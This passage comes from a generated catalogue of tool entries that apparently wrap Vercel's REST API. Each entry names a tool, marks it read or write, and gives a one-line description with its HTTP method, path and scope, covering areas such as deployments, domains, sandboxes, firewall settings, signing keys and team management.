/api/v1/vercel/v2/integrations/log-drains. Scopes: api. vercel_get_v2_observability_schema (read) — Get observability schema via GET /v2/observability/schema GET /api/v1/vercel/v2/observability/schema. Scopes: api. vercel_get_v2_observability_schema_by_metricid (read) — Get observability schema by metric id via GET /v2/observability/schema/{metricId} GET /api/v1/vercel/v2/observability/schema/{metricId}. Scopes: api. vercel_get_v2_projects_by_projectidorname_checks (read) — List all checks for a project via GET /v2/projects/{projectIdOrName}/checks GET /api/v1/vercel/v2/projects/{projectIdOrName}/checks. Scopes: api. vercel_get_v2_projects_by_projectidorname_checks_by_checkid (read) — Get a check via GET /v2/projects/{projectIdOrName}/checks/{checkId} GET /api/v1/vercel/v2/projects/{projectIdOrName}/checks/{checkId}. Scopes: api. vercel_get_v2_projects_by_projectidorname_checks_by_checkid_runs (read) — List runs for a check via GET /v2/projects/{projectIdOrName}/checks/{checkId}/runs GET /api/v1/vercel/v2/projects/{projectIdOrName}/checks/{checkId}/runs. Scopes: api. vercel_get_v2_projects_by_projectidorname_feature_flags_flags (read) — List flags via GET /v2/projects/{projectIdOrName}/feature-flags/flags GET /api/v1/vercel/v2/projects/{projectIdOrName}/feature-flags/flags. Scopes: api. vercel_get_v2_sandboxes (read) — List sandboxes via GET /v2/sandboxes GET /api/v1/vercel/v2/sandboxes. Scopes: api. vercel_get_v2_sandboxes_by_name (read) — Get a named sandbox via GET /v2/sandboxes/{name} GET /api/v1/vercel/v2/sandboxes/{name}. Scopes: api. vercel_get_v2_sandboxes_drives (read) — List drives via GET /v2/sandboxes/drives GET /api/v1/vercel/v2/sandboxes/drives. Scopes: api. vercel_get_v2_sandboxes_sessions (read) — List sessions via GET /v2/sandboxes/sessions GET /api/v1/vercel/v2/sandboxes/sessions. Scopes: api. vercel_get_v2_sandboxes_sessions_by_sessionid (read) — Get a session via GET /v2/sandboxes/sessions/{sessionId} GET /api/v1/vercel/v2/sandboxes/sessions/{sessionId}. Scopes: api. vercel_get_v2_sandboxes_sessions_by_sessionid_cmd (read) — List commands via GET /v2/sandboxes/sessions/{sessionId}/cmd GET /api/v1/vercel/v2/sandboxes/sessions/{sessionId}/cmd. Scopes: api. vercel_get_v2_sandboxes_sessions_by_sessionid_cmd_by_cmdid (read) — Get a command via GET /v2/sandboxes/sessions/{sessionId}/cmd/{cmdId} GET /api/v1/vercel/v2/sandboxes/sessions/{sessionId}/cmd/{cmdId}. Scopes: api. vercel_get_v2_sandboxes_snapshots (read) — List snapshots via GET /v2/sandboxes/snapshots GET /api/v1/vercel/v2/sandboxes/snapshots. Scopes: api. vercel_get_v2_sandboxes_snapshots_by_snapshotid (read) — Get a snapshot via GET /v2/sandboxes/snapshots/{snapshotId} GET /api/v1/vercel/v2/sandboxes/snapshots/{snapshotId}. Scopes: api. vercel_get_v2_teams (read) — List all teams via GET /v2/teams GET /api/v1/vercel/v2/teams. Scopes: api. vercel_get_v2_teams_by_teamid (read) — Get a Team via GET /v2/teams/{teamId} GET /api/v1/vercel/v2/teams/{teamId}. Scopes: api. vercel_get_v2_teams_by_teamid_feature_flags_flags (read) — List all flags for a team via GET /v2/teams/{teamId}/feature-flags/flags GET /api/v1/vercel/v2/teams/{teamId}/feature-flags/flags. Scopes: api. vercel_get_v2_user (read) — Get the User via GET /v2/user GET /api/v1/vercel/v2/user. Scopes: api. vercel_get_v3_events (read) — List User Events via GET /v3/events GET /api/v1/vercel/v3/events. Scopes: api. vercel_get_v3_teams_by_teamid_members (read) — List team members via GET /v3/teams/{teamId}/members GET /api/v1/vercel/v3/teams/{teamId}/members. Scopes: api. vercel_get_v4_aliases (read) — List aliases via GET /v4/aliases GET /api/v1/vercel/v4/aliases. Scopes: api. vercel_get_v4_aliases_by_idoralias (read) — Get an Alias via GET /v4/aliases/{idOrAlias} GET /api/v1/vercel/v4/aliases/{idOrAlias}. Scopes: api. vercel_get_v5_domains (read) — List all the domains via GET /v5/domains GET /api/v1/vercel/v5/domains. Scopes: api. vercel_get_v5_domains_by_domain (read) — Get Information for a Single Domain via GET /v5/domains/{domain} GET /api/v1/vercel/v5/domains/{domain}. Scopes: api. vercel_get_v5_domains_by_domain_records (read) — List existing DNS records via GET /v5/domains/{domain}/records GET /api/v1/vercel/v5/domains/{domain}/records. Scopes: api. vercel_get_v5_user_tokens_by_tokenid (read) — Get Auth Token Metadata via GET /v5/user/tokens/{tokenId} GET /api/v1/vercel/v5/user/tokens/{tokenId}. Scopes: api. vercel_get_v6_deployments_by_id_files (read) — List Deployment Files via GET /v6/deployments/{id}/files GET /api/v1/vercel/v6/deployments/{id}/files. Scopes: api. vercel_get_v6_domains_by_domain_config (read) — Get a Domain's configuration via GET /v6/domains/{domain}/config GET /api/v1/vercel/v6/domains/{domain}/config. Scopes: api. vercel_get_v6_user_tokens (read) — List Auth Tokens via GET /v6/user/tokens GET /api/v1/vercel/v6/user/tokens. Scopes: api. vercel_get_v7_deployments (read) — List deployments via GET /v7/deployments GET /api/v1/vercel/v7/deployments. Scopes: api. vercel_get_v8_artifacts_status (read) — Get status of Remote Caching for this principal via GET /v8/artifacts/status GET /api/v1/vercel/v8/artifacts/status. Scopes: api. vercel_get_v8_certs (read) — Get certs via GET /v8/certs GET /api/v1/vercel/v8/certs. Scopes: api. vercel_get_v8_certs_by_id (read) — Get cert by id via GET /v8/certs/{id} GET /api/v1/vercel/v8/certs/{id}. Scopes: api. vercel_get_v8_deployments_by_id_files_by_fileid (read) — Get Deployment File Contents via GET /v8/deployments/{id}/files/{fileId} GET /api/v1/vercel/v8/deployments/{id}/files/{fileId}. Scopes: api. vercel_get_v9_domains_by_domain_verification (read) — Get Domain Verification Record via GET /v9/domains/{domain}/verification GET /api/v1/vercel/v9/domains/{domain}/verification. Scopes: api. vercel_get_v9_projects_by_idorname (read) — Find a project by id or name via GET /v9/projects/{idOrName} GET /api/v1/vercel/v9/projects/{idOrName}. Scopes: api. vercel_get_v9_projects_by_idorname_custom_environments (read) — Retrieve custom environments via GET /v9/projects/{idOrName}/custom-environments GET /api/v1/vercel/v9/projects/{idOrName}/custom-environments. Scopes: api. vercel_get_v9_projects_by_idorname_custom_environments_by_environmentslugorid (read) — Retrieve a custom environment via GET /v9/projects/{idOrName}/custom-environments/{environmentSlugOrId} GET /api/v1/vercel/v9/projects/{idOrName}/custom-environments/{environmentSlugOrId}. Scopes: api. vercel_get_v9_projects_by_idorname_domains (read) — Retrieve project domains by project by id or name via GET /v9/projects/{idOrName}/domains GET /api/v1/vercel/v9/projects/{idOrName}/domains. Scopes: api. vercel_get_v9_projects_by_idorname_domains_by_domain (read) — Get a project domain via GET /v9/projects/{idOrName}/domains/{domain} GET /api/v1/vercel/v9/projects/{idOrName}/domains/{domain}. Scopes: api. vercel_head_v8_artifacts_by_hash (read) — Artifact exists via HEAD /v8/artifacts/{hash} HEAD /api/v1/vercel/v8/artifacts/{hash}. Scopes: api. vercel_patch_aliases_by_id_protection_bypass (write) — Update the protection bypass for a URL via PATCH /aliases/{id}/protection-bypass PATCH /api/v1/vercel/aliases/{id}/protection-bypass. Scopes: api. vercel_patch_v12_deployments_by_id_cancel (write) — Cancel a deployment via PATCH /v12/deployments/{id}/cancel PATCH /api/v1/vercel/v12/deployments/{id}/cancel. Scopes: api. vercel_patch_v1_access_groups_by_accessgroupidorname_projects_by_projectid (write) — Update an access group project via PATCH /v1/access-groups/{accessGroupIdOrName}/projects/{projectId} PATCH /api/v1/vercel/v1/access-groups/{accessGroupIdOrName}/projects/{projectId}. Scopes: api. vercel_patch_v1_ai_gateway_rules (write) — Update rule via PATCH /v1/ai-gateway/rules PATCH /api/v1/vercel/v1/ai-gateway/rules. Scopes: api. vercel_patch_v1_ai_gateway_virtual_model_configs (write) — Update virtual model config via PATCH /v1/ai-gateway/virtual-model-configs PATCH /api/v1/vercel/v1/ai-gateway/virtual-model-configs. Scopes: api. vercel_patch_v1_bulk_redirects (write) — Edit a project-level redirect. via PATCH /v1/bulk-redirects PATCH /api/v1/vercel/v1/bulk-redirects. Scopes: api. vercel_patch_v1_connect_networks_by_networkid (write) — Update a Secure Compute network via PATCH /v1/connect/networks/{networkId} PATCH /api/v1/vercel/v1/connect/networks/{networkId}. Scopes: api. vercel_patch_v1_deployments_by_deploymentid_integrations_by_integrationconfigurationid_resources_by_resourceid_actions_by_action (write) — Update deployment integration action via PATCH /v1/deployments/{deploymentId}/integrations/{integrationConfigurationId}/resources/{resourceId}/actions/{action} PATCH /api/v1/vercel/v1/deployments/{deploymentId}/integrations/{integrationConfigurationId}/resources/{resourceId}/actions/{action}. Scopes: api. vercel_patch_v1_domains_records_by_recordid (write) — Update an existing DNS record via PATCH /v1/domains/records/{recordId} PATCH /api/v1/vercel/v1/domains/records/{recordId}. Scopes: api. vercel_patch_v1_drains_by_id (write) — Update an existing Drain via PATCH /v1/drains/{id} PATCH /api/v1/vercel/v1/drains/{id}. Scopes: api. vercel_patch_v1_env (write) — Updates one or more shared environment variables via PATCH /v1/env PATCH /api/v1/vercel/v1/env. Scopes: api. vercel_patch_v1_env_by_id_unlink_by_projectid (write) — Disconnects a shared environment variable for a given project via PATCH /v1/env/{id}/unlink/{projectId} PATCH /api/v1/vercel/v1/env/{id}/unlink/{projectId}. Scopes: api. vercel_patch_v1_global_config_by_edgeconfigid_items (write) — Update Global Config items in batch via PATCH /v1/global-config/{edgeConfigId}/items PATCH /api/v1/vercel/v1/global-config/{edgeConfigId}/items. Scopes: api. vercel_patch_v1_kms_issuers_by_issuerid (write) — Update an issuer via PATCH /v1/kms/issuers/{issuerId} PATCH /api/v1/vercel/v1/kms/issuers/{issuerId}. Scopes: api. vercel_patch_v1_kms_issuers_by_issuerid_policies_by_kind_by_policykey (write) — Update an issuer policy via PATCH /v1/kms/issuers/{issuerId}/policies/{kind}/{policyKey} PATCH /api/v1/vercel/v1/kms/issuers/{issuerId}/policies/{kind}/{policyKey}. Scopes: api. vercel_patch_v1_projects_by_idorname_protection_bypass (write) — Update Protection Bypass for Automation via PATCH /v1/projects/{idOrName}/protection-bypass PATCH /api/v1/vercel/v1/projects/{idOrName}/protection-bypass. Scopes: api. vercel_patch_v1_projects_by_idorname_rolling_release_config (write) — Update the rolling release settings for the project via PATCH /v1/projects/{idOrName}/rolling-release/config PATCH /api/v1/vercel/v1/projects/{idOrName}/rolling-release/config. Scopes: api. vercel_patch_v1_projects_by_idorname_shared_connect_links (write) — Configures Static IPs for a project via PATCH /v1/projects/{idOrName}/shared-connect-links PATCH /api/v1/vercel/v1/projects/{idOrName}/shared-connect-links. Scopes: api. vercel_patch_v1_projects_by_projectid_microfrontends (write) — Update the microfrontends settings via PATCH /v1/projects/{projectId}/microfrontends PATCH /api/v1/vercel/v1/projects/{projectId}/microfrontends. Scopes: api. vercel_patch_v1_projects_by_projectid_rollback_by_deploymentid_update_description (write) — Updates the description for a rollback via PATCH /v1/projects/{projectId}/rollback/{deploymentId}/update-description PATCH /api/v1/vercel/v1/projects/{projectId}/rollback/{deploymentId}/update-description. Scopes: api. vercel_patch_v1_projects_by_projectid_routes_by_routeid (write) — Edit a routing rule via PATCH /v1/projects/{projectId}/routes/{routeId} PATCH /api/v1/vercel/v1/projects/{projectId}/routes/{routeId}. Scopes: api. vercel_patch_v1_projects_by_projectidorname_feature_flags_flags_by_flagidorslug (write) — Update a flag via PATCH /v1/projects/{projectIdOrName}/feature-flags/flags/{flagIdOrSlug} PATCH /api/v1/vercel/v1/projects/{projectIdOrName}/feature-flags/flags/{flagIdOrSlug}. Scopes: api. vercel_patch_v1_projects_by_projectidorname_feature_flags_segments_by_segmentidorslug (write) — Update a segment via PATCH /v1/projects/{projectIdOrName}/feature-flags/segments/{segmentIdOrSlug} PATCH /api/v1/vercel/v1/projects/{projectIdOrName}/feature-flags/segments/{segmentIdOrSlug}. Scopes: api. vercel_patch_v1_projects_by_projectidorname_feature_flags_settings (write) — Update project flag settings via PATCH /v1/projects/{projectIdOrName}/feature-flags/settings PATCH /api/v1/vercel/v1/projects/{projectIdOrName}/feature-flags/settings. Scopes: api. vercel_patch_v1_registrar_domains_by_domain_auto_renew (write) — Update auto-renew for a domain via PATCH /v1/registrar/domains/{domain}/auto-renew PATCH /api/v1/vercel/v1/registrar/domains/{domain}/auto-renew. Scopes: api. vercel_patch_v1_registrar_domains_by_domain_nameservers (write) — Update nameservers for a domain via PATCH /v1/registrar/domains/{domain}/nameservers PATCH /api/v1/vercel/v1/registrar/domains/{domain}/nameservers. Scopes: api. vercel_patch_v1_security_firewall_config (write) — Update Firewall Configuration via PATCH /v1/security/firewall/config PATCH /api/v1/vercel/v1/security/firewall/config. Scopes: api. vercel_patch_v1_teams_by_teamid_members_by_uid (write) — Update a Team Member via PATCH /v1/teams/{teamId}/members/{uid} PATCH /api/v1/vercel/v1/teams/{teamId}/members/{uid}. Scopes: api. vercel_patch_v1_teams_by_teamid_microfrontends_by_groupid (write) — Update a microfrontends group via PATCH /v1/teams/{teamId}/microfrontends/{groupId} PATCH /api/v1/vercel/v1/teams/{teamId}/microfrontends/{groupId}. Scopes: api. vercel_patch_v2_deployments_by_deploymentid_check_runs_by_checkrunid (write) — Update a check run via PATCH /v2/deployments/{deploymentId}/check-runs/{checkRunId} PATCH /api/v1/vercel/v2/deployments/{deploymentId}/check-runs/{checkRunId}. Scopes: api. vercel_patch_v2_projects_by_projectidorname_checks_by_checkid (write) — Update a check via PATCH /v2/projects/{projectIdOrName}/checks/{checkId} PATCH /api/v1/vercel/v2/projects/{projectIdOrName}/checks/{checkId}. Scopes: api. vercel_patch_v2_sandboxes_by_name (write) — Update a sandbox via PATCH /v2/sandboxes/{name} PATCH /api/v1/vercel/v2/sandboxes/{name}. Scopes: api. vercel_patch_v2_teams_by_teamid (write) — Update a Team via PATCH /v2/teams/{teamId} PATCH /api/v1/vercel/v2/teams/{teamId}. Scopes: api. vercel_patch_v3_domains_by_domain (write) — Update or move apex domain via PATCH /v3/domains/{domain} PATCH /api/v1/vercel/v3/domains/{domain}. Scopes: api. vercel_patch_v9_projects_by_idorname (write) — Update an existing project via PATCH /v9/projects/{idOrName} PATCH /api/v1/vercel/v9/projects/{idOrName}. Scopes: api. vercel_patch_v9_projects_by_idorname_custom_environments_by_environmentslugorid (write) — Update a custom environment via PATCH /v9/projects/{idOrName}/custom-environments/{environmentSlugOrId} PATCH /api/v1/vercel/v9/projects/{idOrName}/custom-environments/{environmentSlugOrId}. Scopes: api. vercel_patch_v9_projects_by_idorname_domains_by_domain (write) — Update a project domain via PATCH /v9/projects/{idOrName}/domains/{domain} PATCH /api/v1/vercel/v9/projects/{idOrName}/domains/{domain}. Scopes: api. vercel_patch_v9_projects_by_idorname_env_by_id (write) — Edit an environment variable via PATCH /v9/projects/{idOrName}/env/{id} PATCH /api/v1/vercel/v9/projects/{idOrName}/env/{id}. Scopes: api. vercel_post_api_keys (write) — Create api keys via POST /api-keys POST /api/v1/vercel/api-keys. Scopes: api. vercel_post_projects_by_idorname_transfer_request (write) — Create project transfer request via POST /projects/{idOrName}/transfer-request POST /api/v1/vercel/projects/{idOrName}/transfer-request. Scopes: api. vercel_post_speed_insights_toggle (write) — Create speed insights toggle via POST /speed-insights/toggle POST /api/v1/vercel/speed-insights/toggle. Scopes: api. vercel_post_storage_stores_blob (write) — Create a Blob store via POST /storage/stores/blob POST /api/v1/vercel/storage/stores/blob. Scopes: api. vercel_post_v10_projects_by_idorname_domains (write) — Add a domain to a project via POST /v10/projects/{idOrName}/domains POST /api/v1/vercel/v10/projects/{idOrName}/domains. Scopes: api. vercel_post_v10_projects_by_idorname_env (write) — Create one or more environment variables via POST /v10/projects/{idOrName}/env POST /api/v1/vercel/v10/projects/{idOrName}/env. Scopes: api. vercel_post_v10_projects_by_projectid_promote_by_deploymentid (write) — Point production traffic to a given deployment via POST /v10/projects/{projectId}/promote/{deploymentId} POST /api/v1/vercel/v10/projects/{projectId}/promote/{deploymentId}. Scopes: api. vercel_post_v11_projects (write) — Create a new project via POST /v11/projects POST /api/v1/vercel/v11/projects. Scopes: api. vercel_post_v13_deployments (write) — Create a new deployment via POST /v13/deployments POST /api/v1/vercel/v13/deployments. Scopes: api. vercel_post_v1_access_groups (write) — Creates an access group via POST /v1/access-groups POST /api/v1/vercel/v1/access-groups. Scopes: api. vercel_post_v1_access_groups_by_accessgroupidorname_projects (write) — Create an access group project via POST /v1/access-groups/{accessGroupIdOrName}/projects POST /api/v1/vercel/v1/access-groups/{accessGroupIdOrName}/projects. Scopes: api. vercel_post_v1_access_groups_by_idorname (write) — Update an access group via POST /v1/access-groups/{idOrName} POST /api/v1/vercel/v1/access-groups/{idOrName}. Scopes: api. vercel_post_v1_ai_gateway_rules (write) — Create rule via POST /v1/ai-gateway/rules POST /api/v1/vercel/v1/ai-gateway/rules. Scopes: api. vercel_post_v1_ai_gateway_virtual_model_configs (write) — Create virtual model config via POST /v1/ai-gateway/virtual-model-configs POST /api/v1/vercel/v1/ai-gateway/virtual-model-configs. Scopes: api. vercel_post_v1_billing_buy (write) — Purchase credits via POST /v1/billing/buy POST /api/v1/vercel/v1/billing/buy. Scopes: api. vercel_post_v1_bulk_redirects_restore (write) — Restore staged project-level redirects to their production version. via POST /v1/bulk-redirects/restore POST /api/v1/vercel/v1/bulk-redirects/restore. Scopes: api. vercel_post_v1_bulk_redirects_versions (write) — Promote a staging version to production or restore a previous production version. via POST /v1/bulk-redirects/versions POST /api/v1/vercel/v1/bulk-redirects/versions. Scopes: api. vercel_post_v1_connect_networks (write) — Create a Secure Compute network via POST /v1/connect/networks POST /api/v1/vercel/v1/connect/networks. Scopes: api. vercel_post_v1_drains (write) — Create a new Drain via POST /v1/drains POST /api/v1/vercel/v1/drains. Scopes: api. vercel_post_v1_drains_test (write) — Validate Drain delivery configuration via POST /v1/drains/test POST /api/v1/vercel/v1/drains/test. Scopes: api. vercel_post_v1_edge_cache_dangerously_delete_by_src_images (write) — Dangerously delete by source image via POST /v1/edge-cache/dangerously-delete-by-src-images POST /api/v1/vercel/v1/edge-cache/dangerously-delete-by-src-images. Scopes: api. vercel_post_v1_edge_cache_dangerously_delete_by_tags (write) — Dangerously delete by tag via POST /v1/edge-cache/dangerously-delete-by-tags POST /api/v1/vercel/v1/edge-cache/dangerously-delete-by-tags. Scopes: api. vercel_post_v1_edge_cache_invalidate_by_src_images (write) — Invalidate by source image via POST /v1/edge-cache/invalidate-by-src-images POST /api/v1/vercel/v1/edge-cache/invalidate-by-src-images. Scopes: api. vercel_post_v1_edge_cache_invalidate_by_tags (write) — Invalidate by tag via POST /v1/edge-cache/invalidate-by-tags POST /api/v1/vercel/v1/edge-cache/invalidate-by-tags. Scopes: api. vercel_post_v1_env (write) — Create one or more shared environment variables via POST /v1/env POST /api/v1/vercel/v1/env. Scopes: api. vercel_post_v1_global_config (write) — Create a Global Config via POST /v1/global-config POST /api/v1/vercel/v1/global-config. Scopes: api. vercel_post_v1_global_config_by_edgeconfigid_backups_by_edgeconfigbackupversionid_restore (write) — Restore Global Config backup via POST /v1/global-config/{edgeConfigId}/backups/{edgeConfigBackupVersionId}/restore POST /api/v1/vercel/v1/global-config/{edgeConfigId}/backups/{edgeConfigBackupVersionId}/restore. Scopes: api. vercel_post_v1_global_config_by_edgeconfigid_schema (write) — Update Global Config schema via POST /v1/global-config/{edgeConfigId}/schema POST /api/v1/vercel/v1/global-config/{edgeConfigId}/schema. Scopes: api. vercel_post_v1_global_config_by_edgeconfigid_token (write) — Create a Global Config token via POST /v1/global-config/{edgeConfigId}/token POST /api/v1/vercel/v1/global-config/{edgeConfigId}/token. Scopes: api. vercel_post_v1_integrations_installations_by_integrationconfigurationid_resources_by_resourceid_connections (write) — Connect integration resource to project via POST /v1/integrations/installations/{integrationConfigurationId}/resources/{resourceId}/connections POST /api/v1/vercel/v1/integrations/installations/{integrationConfigurationId}/resources/{resourceId}/connections. Scopes: api. vercel_post_v1_kms_issuers (write) — Create an issuer via POST /v1/kms/issuers POST /api/v1/vercel/v1/kms/issuers. Scopes: api. vercel_post_v1_kms_issuers_by_issuerid_keys (write) — Create a signing key via POST /v1/kms/issuers/{issuerId}/keys POST /api/v1/vercel/v1/kms/issuers/{issuerId}/keys. Scopes: api. vercel_post_v1_kms_issuers_by_issuerid_keys_by_keyid_activate (write) — Activate a signing key via POST /v1/kms/issuers/{issuerId}/keys/{keyId}/activate POST /api/v1/vercel/v1/kms/issuers/{issuerId}/keys/{keyId}/activate. Scopes: api. vercel_post_v1_kms_issuers_by_issuerid_keys_by_keyid_revoke (write) — Revoke a signing key via POST /v1/kms/issuers/{issuerId}/keys/{keyId}/revoke POST /api/v1/vercel/v1/kms/issuers/{issuerId}/keys/{keyId}/revoke. Scopes: api. vercel_post_v1_kms_issuers_by_issuerid_policies (write) — Create an issuer policy via POST /v1/kms/issuers/{issuerId}/policies POST /api/v1/vercel/v1/kms/issuers/{issuerId}/policies. Scopes: api. vercel_post_v1_kms_issuers_by_issuerid_sign_message (write) — Sign a message via POST /v1/kms/issuers/{issuerId}/sign/message POST /api/v1/vercel/v1/kms/issuers/{issuerId}/sign/message. Scopes: api. vercel_post_v1_kms_issuers_by_issuerid_sign_token (write) — Sign a token via POST /v1/kms/issuers/{issuerId}/sign/token POST /api/v1/vercel/v1/kms/issuers/{issuerId}/sign/token. Scopes: api. vercel_post_v1_log_drains (write) — Creates a Configurable Log Drain (deprecated) via POST /v1/log-drains POST /api/v1/vercel/v1/log-drains. Scopes: api. vercel_post_v1_microfrontends_group (write) — Create a microfrontends group with applications via POST /v1/microfrontends/group POST /api/v1/vercel/v1/microfrontends/group. Scopes: api. vercel_post_v1_projects_by_idorname_domains_by_domain_move (write) — Move a project domain via POST /v1/projects/{idOrName}/domains/{domain}/move POST /api/v1/vercel/v1/projects/{idOrName}/domains/{domain}/move. Scopes: api. vercel_post_v1_projects_by_idorname_members (write) — Adds a new member to a project. via POST /v1/projects/{idOrName}/members POST /api/v1/vercel/v1/projects/{idOrName}/members. Scopes: api. vercel_post_v1_projects_by_idorname_rolling_release_approve_stage (write) — Update the active rolling release to the next stage for a project via POST /v1/projects/{idOrName}/rolling-release/approve-stage POST /api/v1/vercel/v1/projects/{idOrName}/rolling-release/approve-stage. Scopes: api. vercel_post_v1_projects_by_idorname_rolling_release_complete (write) — Complete the rolling release for the project via POST /v1/projects/{idOrName}/rolling-release/complete POST /api/v1/vercel/v1/projects/{idOrName}/rolling-release/complete. Scopes: api. vercel_post_v1_projects_by_idorname_rolling_release_start (write) — Start a rolling release for the project via POST /v1/projects/{idOrName}/rolling-release/start POST /api/v1/vercel/v1/projects/{idOrName}/rolling-release/start. Scopes: api. vercel_post_v1_projects_by_idorname_token (write) — Generate a project OIDC token via POST /v1/projects/{idOrName}/token POST /api/v1/vercel/v1/projects/{idOrName}/token. Scopes: api. vercel_post_v1_projects_by_projectid_pause (write) — Pause a project via POST /v1/projects/{projectId}/pause POST /api/v1/vercel/v1/projects/{projectId}/pause. Scopes: api. vercel_post_v1_projects_by_projectid_rollback_by_deploymentid (write) — Point production traffic to a previous production deployment by ID via POST /v1/projects/{projectId}/rollback/{deploymentId} POST /api/v1/vercel/v1/projects/{projectId}/rollback/{deploymentId}. Scopes: api. vercel_post_v1_projects_by_projectid_routes (write) — Add a routing rule via POST /v1/projects/{projectId}/routes POST /api/v1/vercel/v1/projects/{projectId}/routes. Scopes: api. vercel_post_v1_projects_by_projectid_routes_generate (write) — Generate a routing rule from natural language via POST /v1/projects/{projectId}/routes/generate POST /api/v1/vercel/v1/projects/{projectId}/routes/generate. Scopes: api. vercel_post_v1_projects_by_projectid_routes_versions (write) — Promote, restore, or discard a routing rule version via POST /v1/projects/{projectId}/routes/versions POST /api/v1/vercel/v1/projects/{projectId}/routes/versions. Scopes: api. vercel_post_v1_projects_by_projectid_unpause (write) — Unpause a project via POST /v1/projects/{projectId}/unpause POST /api/v1/vercel/v1/projects/{projectId}/unpause. Scopes: api. vercel_post_v1_projects_traces_session (write) — Create a trace session token for a deployment via POST /v1/projects/traces/session POST /api/v1/vercel/v1/projects/traces/session. Scopes: api. vercel_post_v1_registrar_domains_availability (write) — Get availability for multiple domains via POST /v1/registrar/domains/availability POST /api/v1/vercel/v1/registrar/domains/availability. Scopes: api. vercel_post_v1_registrar_domains_buy (write) — Buy multiple domains via POST /v1/registrar/domains/buy POST /api/v1/vercel/v1/registrar/domains/buy. Scopes: api. vercel_post_v1_registrar_domains_by_domain_buy (write) — Buy a domain via POST /v1/registrar/domains/{domain}/buy POST /api/v1/vercel/v1/registrar/domains/{domain}/buy. Scopes: api. vercel_post_v1_registrar_domains_by_domain_renew (write) — Renew a domain via POST /v1/registrar/domains/{domain}/renew POST /api/v1/vercel/v1/registrar/domains/{domain}/renew. Scopes: api. vercel_post_v1_registrar_domains_by_domain_transfer (write) — Transfer-in a domain via POST /v1/registrar/domains/{domain}/transfer POST /api/v1/vercel/v1/registrar/domains/{domain}/transfer. Scopes: api. vercel_post_v1_security_attack_mode (write) — Update Attack Challenge mode via POST /v1/security/attack-mode POST /api/v1/vercel/v1/security/attack-mode. Scopes: api. vercel_post_v1_security_firewall_bypass (write) — Create System Bypass Rule via POST /v1/security/firewall/bypass POST /api/v1/vercel/v1/security/firewall/bypass. Scopes: api. vercel_post_v1_security_firewall_config_by_configversion_activate (write) — Returns activated WAF config via POST /v1/security/firewall/config/{configVersion}/activate POST /api/v1/vercel/v1/security/firewall/config/{configVersion}/activate. Scopes: api. vercel_post_v1_security_firewall_config_generate_rule (write) — Generate a firewall rule from natural language via POST /v1/security/firewall/config/generate-rule POST /api/v1/vercel/v1/security/firewall/config/generate-rule. Scopes: api. vercel_post_v1_storage_stores_integration_direct (write) — Create integration store (free and paid plans) via POST /v1/storage/stores/integration/direct POST /api/v1/vercel/v1/storage/stores/integration/direct. Scopes: api. vercel_post_v1_teams (write) — Create a Team via POST /v1/teams POST /api/v1/vercel/v1/teams. Scopes: api. vercel_post_v1_teams_by_teamid_dsync_roles (write) — Update Team Directory Sync Role Mappings via POST /v1/teams/{teamId}/dsync-roles POST /api/v1/vercel/v1/teams/{teamId}/dsync-roles. Scopes: api. vercel_post_v1_teams_by_teamid_members_teams_join (write) — Join a team via POST /v1/teams/{teamId}/members/teams/join POST /api/v1/vercel/v1/teams/{teamId}/members/teams/join. Scopes: api. vercel_post_v1_teams_by_teamid_request (write) — Request access to a team via POST /v1/teams/{teamId}/request POST /api/v1/vercel/v1/teams/{teamId}/request. Scopes: api. vercel_post_v1_webhooks (write) — Creates a webhook via POST /v1/webhooks POST /api/v1/vercel/v1/webhooks. Scopes: api. vercel_post_v2_deployments_by_deploymentid_check_runs (write) — Create a check run via POST /v2/deployments/{deploymentId}/check-runs POST /api/v1/vercel/v2/deployments/{deploymentId}/check-runs. Scopes: api. vercel_post_v2_deployments_by_id_aliases (write) — Assign an Alias via POST /v2/deployments/{id}/aliases POST /api/v1/vercel/v2/deployments/{id}/aliases. Scopes: api. vercel_post_v2_domains_by_domain_records (write) — Create a DNS record via POST /v2/domains/{domain}/records POST /api/v1/vercel/v2/domains/{domain}/records. Scopes: api. vercel_post_v2_integrations_log_drains (write) — Creates a new Integration Log Drain (deprecated) via POST /v2/integrations/log-drains POST /api/v1/vercel/v2/integrations/log-drains. Scopes: api. vercel_post_v2_observability_query (write) — Create observability query via POST /v2/observability/query POST /api/v1/vercel/v2/observability/query. Scopes: api. vercel_post_v2_projects_by_projectidorname_checks (write) — Create a check via POST /v2/projects/{projectIdOrName}/checks POST /api/v1/vercel/v2/projects/{projectIdOrName}/checks. Scopes: api. vercel_post_v2_sandboxes (write) — Create a named sandbox via POST /v2/sandboxes POST /api/v1/vercel/v2/sandboxes. Scopes: api. vercel_post_v2_sandboxes_by_name_fork (write) — Fork a named sandbox via POST /v2/sandboxes/{name}/fork POST /api/v1/vercel/v2/sandboxes/{name}/fork. Scopes: api. vercel_post_v2_sandboxes_drives_by_name (write) — Get or create a drive via POST /v2/sandboxes/drives/{name} POST /api/v1/vercel/v2/sandboxes/drives/{name}. Scopes: api. vercel_post_v2_sandboxes_sessions_by_sessionid_cmd_by_cmdid_kill (write) — Kill a command via POST /v2/sandboxes/sessions/{sessionId}/cmd/{cmdId}/kill POST /api/v1/vercel/v2/sandboxes/sessions/{sessionId}/cmd/{cmdId}/kill. Scopes: api. vercel_post_v2_sandboxes_sessions_by_sessionid_extend_timeout (write) — Extend session timeout via POST /v2/sandboxes/sessions/{sessionId}/extend-timeout POST /api/v1/vercel/v2/sandboxes/sessions/{sessionId}/extend-timeout. Scopes: api. vercel_post_v2_sandboxes_sessions_by_sessionid_fs_mkdir (write) — Create a directory via POST /v2/sandboxes/sessions/{sessionId}/fs/mkdir POST /api/v1/vercel/v2/sandboxes/sessions/{sessionId}/fs/mkdir. Scopes: api. vercel_post_v2_sandboxes_sessions_by_sessionid_fs_write (write) — Write files via POST /v2/sandboxes/sessions/{sessionId}/fs/write POST /api/v1/vercel/v2/sandboxes/sessions/{sessionId}/fs/write. Scopes: api. vercel_post_v2_sandboxes_sessions_by_sessionid_network_policy (write) — Update network policy via POST /v2/sandboxes/sessions/{sessionId}/network-policy POST /api/v1/vercel/v2/sandboxes/sessions/{sessionId}/network-policy. Scopes: api. vercel_post_v2_sandboxes_sessions_by_sessionid_snapshot (write) — Create a snapshot via POST /v2/sandboxes/sessions/{sessionId}/snapshot POST /api/v1/vercel/v2/sandboxes/sessions/{sessionId}/snapshot. Scopes: api. vercel_post_v2_sandboxes_sessions_by_sessionid_stop (write) — Stop a session via POST /v2/sandboxes/sessions/{sessionId}/stop POST /api/v1/vercel/v2/sandboxes/sessions/{sessionId}/stop. Scopes: api. vercel_post_v2_teams_by_teamid_members (write) — Invite a user via POST /v2/teams/{teamId}/members POST 